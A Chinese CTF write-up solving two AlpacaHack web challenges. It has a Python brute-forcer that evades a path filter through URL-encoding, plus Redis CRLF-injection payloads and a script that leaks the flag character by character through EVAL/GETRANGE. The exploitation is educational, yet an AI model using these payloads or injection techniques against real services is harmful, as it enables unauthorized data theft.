【Web】AlpacaHack Round 7 (Web) 题解

Treasure Hunt

flag在md5值拼接flagtxt的文件里,如

d/4/1/d/8/c/d/9/8/f/0/0/b/2/0/4/e/9/8/0/0/9/9/8/e/c/f/8/4/2/7/e/f/l/a/g/t/x/t

访问已经存在的目录状态码是301

访问不存在的目录状态码是404

 

 基于此差异可以写爆破脚本

这段waf可以用url编码绕过

做个lab

const express = require('express');
const app = express();// 路由处理:直接返回请求的 URL
app.get('*', (req, res) => {res.send(`Request URL: ${req.url}`);
});// 启动服务器
const port = 3000;
app.listen(port, () => {console.log(`Server is running at http://localhost:${port}`);
});

 

可以看到express的req.url直接取到了原始路径

gpt搓一个脚本

import http.client
import string# MD5字符集
md5_chars = string.digits + string.ascii_lowercase[:6]  # 0-9, a-f# 指定的目标URL
base_url = '34.170.146.252'
port = 49215  # 端口号# 自定义URL编码函数,对数字和字母进行URL编码
def custom_urlencode(path):encoded_path = ""# 遍历路径中的每个字符for char in path:# 如果是字母或数字,则进行URL编码if char.isalnum():  # 如果字符是字母或数字# 获取字符的 ASCII 值,转换为 2位16进制并加上%encoded_path += '%' + format(ord(char), '02x')else:# 否则直接添加字符(如 /、- 等)encoded_path += charreturn encoded_path# 校验路径是否满足条件的函数
def check_path(path):# 对路径进行自定义URL编码encoded_path = custom_urlencode(path)# 创建一个http.client的连接connection = http.client.HTTPConnection(base_url, port)try:url = "/" + encoded_path  # 拼接请求的路径print(f"Requesting URL: {url}")  # 打印发包的URL# 发送GET请求connection.request("GET", url)# 获取响应response = connection.getresponse()print(f"Response Status Code: {response.status}")  # 打印响应状态码# 假设条件是通过返回的状态码来判断if response.status == 301:print(f"Valid path found: {url}")return Trueelse:return Falseexcept Exception as e:# 如果请求失败或出错,打印错误信息print(f"Error while checking path {path}: {e}")return Falsefinally:connection.close()# 爆破路径的函数
def brute_force_path(prefix, depth=1):print(f"Starting depth {depth}: Trying path: {prefix}")if depth == 33:# 达到深度33时,停止递归print(f"Depth {depth} reached. Stopping path exploration.")returnelse:# 尝试每一个MD5字符集中的字符for char in md5_chars:new_prefix = prefix + "/" + charprint(f"Depth {depth}: Trying character: {char}, Path: {new_prefix}")if check_path(new_prefix):brute_force_path(new_prefix, depth + 1)break  # 如果找到有效路径,停止尝试继续当前字符# 启动路径爆破,开始爆破第一位
brute_force_path('')

脚本跑出来的路径再拼接/f/l/a/g/t/x/t的url编码拿到flag

 

Alpaca Poll

js中的replace只会替换一次,详见:

https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#description

在/vote处注入 

 

 

打redis的EVAL LUA命令注入,把dog的值换成flag的值

直接插payload会这样:

animal=dog%0d%0a%0d%0aEVAL "local flag_value = redis.call('GET', 'flag'); redis.call('SET', 'dog', flag_value); return flag_value;" 0

 

原因在于getvotes方法最后只回显数字

 可以先将flag字符串转ascii码

animal=dog%0d%0a%0d%0aEVAL "local flag_value = redis.call('GET', 'flag'); local ascii_values = ''; for i = 1, #flag_value do ascii_values = ascii_values .. string.byte(flag_value, i) end; redis.call('SET', 'dog', ascii_values); return ascii_values;" 0

parseInt转出来太大了,精度不够

65108112979997120000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

 搓个脚本用GETRANGE逐位去读

import requeststarget = 'http://34.170.146.252:24564'
flag = ''
index = 0
while not flag.endswith('}'):payload = f'\r\n\r\nEVAL "return redis.call(\'SET\', \'dog\', string.byte(redis.call(\'GETRANGE\',\'flag\', {index}, {index})))" 0'response = requests.post(f'{target}/vote', data={'animal': 'dog' + payload}, headers={'Content-Type': 'application/x-www-form-urlencoded'})if response.status_code != 200:print(f"Error with /vote request: {response.status_code}")breakresponse = requests.get(f'{target}/votes')if response.status_code != 200:print(f"Error with /votes request: {response.status_code}")breakvotes = response.json()dog_ascii = votes.get('dog')if dog_ascii is not None:flag += chr(dog_ascii)print(f"Flag so far: {flag}")else:print("No 'dog' field in the response")breakindex += 1
print(f"Final flag: {flag}")

跑出来 

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/35857.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

操作系统——文件系统

笔记内容及图片整理自XJTUSE “操作系统” 课程ppt,仅供学习交流使用,谢谢。 文件系统是操作系统中以文件方式管理计算机软件资源的软件和被管理的文件和数据结构(如目录和索引表等)的集合。从系统角度来看,文件系统是…

java面向对象实验——扫雷+24点

扫雷 窗口绘制: GameWin package com.sxt;import javax.swing.*;public class GameWin extends JFrame {void launch(){this.setVisible(true);this.setSize(500, 500);this.setLocationRelativeTo(null);this.setTitle("SWE23070扫雷游戏");this.setD…

GPU 调度策略架构与CUDA运行机制(二)

市面上有很多GPU厂家,他们产品的软硬件架构各不相同,但是核心往往差不多,整明白了一个基本上就可以触类旁通了。针对当前gpu底层的一些架构以及硬件层一些调度策略的话估计大部分人就很难说的上熟悉了,这个不是大家的错&#xff0…

ddos攻击防御的方法有哪些

DDoS攻击,即分布式拒绝服务攻击(Distributed Denial of Service),是一种恶意的网络攻击方式,旨在通过发送大量流量或请求到目标服务器、服务或网络,使其资源耗尽,无法处理合法用户的请求,从而导致服务中断或…

Python + Playwright:集成 Applitools 进行视觉回归测试(快速入门)

集成 Applitools 进行视觉回归测试(快速入门) 简介Applitools 的核心特点Applitools 的应用场景1. 准备工作2. 获取示例项目2.1 下载示例代码2.2 安装依赖2.3 选择测试运行方式3. 代码解析3.1 测试用例示例4. 运行测试4.1 设置 Applitools API 变量4.2 设置 Applitools Eyes …

RuoYi中数据分页功能实现的步骤(nvliz)

目录 前言 数据分页的作用 RuoYi中的实现步骤 前端的显示界面(实例介绍) 源码分析(前端) Pagination(分页组件)介绍 前端:getList()(方法源码分析) 源码分析(后端) 后端:List()…

HarmonyOS 5.0应用开发——全局广播的使用

【高心星出品】 文章目录 全局广播的使用公共事件接受系统公共事件原理 发布与订阅自定义公共事件订阅系统事件 全局广播的使用 全局广播可以用来做应用间通信,进程间通信,包含订阅、发布等功能。 公共事件 CES(Common Event Service&…

ceph存储池

1、存储池 1、存储池的概念 存储池就是ceph的逻辑分区,专门用来存储对象的 特点 将文件切片成对象,通过hash算法,找到存储池中的pg,池中的pg根据crush算法找到osd节点 存储中的PG数量对性能有重要的影响,过多和过少…

Ollama记录

先在官网下载Ollama 模型下载 ollama run qwen2:0.5b 可以快速部署很多模型 方便 可以替换openai api key from openai import OpenAIclient OpenAI(base_url https://127.0.0.1:11434/v1,api_keyollama, # required, but unused )response client.chat.completions.…

锻造船用发动机动力系统,铸强船舶“心脏”

船舶是海洋、湖泊及河流中重要的水上交通工具,不仅能够促进海上经济的发展,还能够保卫国家的制海权。船舶动力装置,也就是船舶的核心动力源——船用发动机动力系统对船舶的重要作用不言自明,关系到船舶的性能质量,能够…

LIN状态管理

文章目录 前言一、状态管理二、实现过程三、response_error信号的变化条件四、节点内部报告五、测试应用方式1:LIN ISC方式2:CAPL脚本方式 前言 在LIN专栏的文章中,我们介绍了 LIN的网络管理:LIN网络管理:休眠&唤…

云帆在线学习考试系统对国产化数据库的支持情况说明

云帆在线学习考试系统对国产化数据库的支持情况说明 云帆学习考试系统是一款优秀的学习和考试系统!多年以来一直深耕在线教育板块,积累了丰富的行业经验,多年来的产品和技术沉淀,服务了众多政府机构、知名高校、企事业单位。 今…

反向传播算法中的误差项

背景 在反向传播算法中,我们需要计算每个神经元的误差项,以便更新网络中的权重。对于输出层的神经元,误差项的计算公式如下: 其中: E是损失函数(例如均方误差)。 zk 是输出层神经元的加权输入&a…

如何高效整合金蝶云星辰采购入库单与聚水潭系统

星辰-采购入库单集成到聚水潭的技术实现 在企业信息化管理中,数据的高效流转和准确对接至关重要。本文将分享一个实际案例:如何通过轻易云数据集成平台,将金蝶云星辰V2系统中的采购入库单数据无缝集成到聚水潭系统中,实现业务流程…

Uniapp的App环境下使用Map获取缩放比例

概述 目前我试过的就是你用vue后缀是拿不到比例的你可以用nvue当然uniapp的uvue应该是更加可以的我使用的是高德所以你得在高德的后台声请原生的Android的key才可以如果是vue3的开发模式的话不用使用this来获取当前对象使用scale对象来接受和改变缩放比例会比较友好然后直接走…

C++入门项目:Linux下C++轻量级Web服务器 项目详解(小白篇)

拿到一个项目首先先跑通,然后再慢慢来看代码,关于怎么将这个项目跑通,上一篇已经讲过,感兴趣的小伙伴可以移步下面的链接,或者其他博主的教程。 C入门项目:Linux下C轻量级Web服务器 跑通|运行|测试&#xf…

RuoYi集成Drools,并实现数据库获取规则

Drools是一个开源的业务规则管理系统(BRMS)和规则引擎,它允许开发者以接近自然语言的形式定义业务规则,并将这些规则应用到应用程序中,实现业务逻辑的自动化和决策过程的优化。Drools基于Java语言开发,使用…

什么是API接口?如何调用API接口?

一、什么是 API 接口 定义 API(Application Programming Interface)即应用程序编程接口。它是一组定义好的规则和协议,允许不同的软件应用程序之间进行通信和交互。可以把 API 想象成是餐厅的服务员,当顾客(一个软件应…

BurpSuite-6(验证码识别)

声明:学习视频来自b站up主 泷羽sec,如涉及侵权马上删除文章 感谢泷羽sec 团队的教学 视频地址:burp(6)暴力破解与验证码识别绕过_哔哩哔哩_bilibili 一、下载 github地址:GitHub - f0ng/captcha-killer-modified: captcha-killer…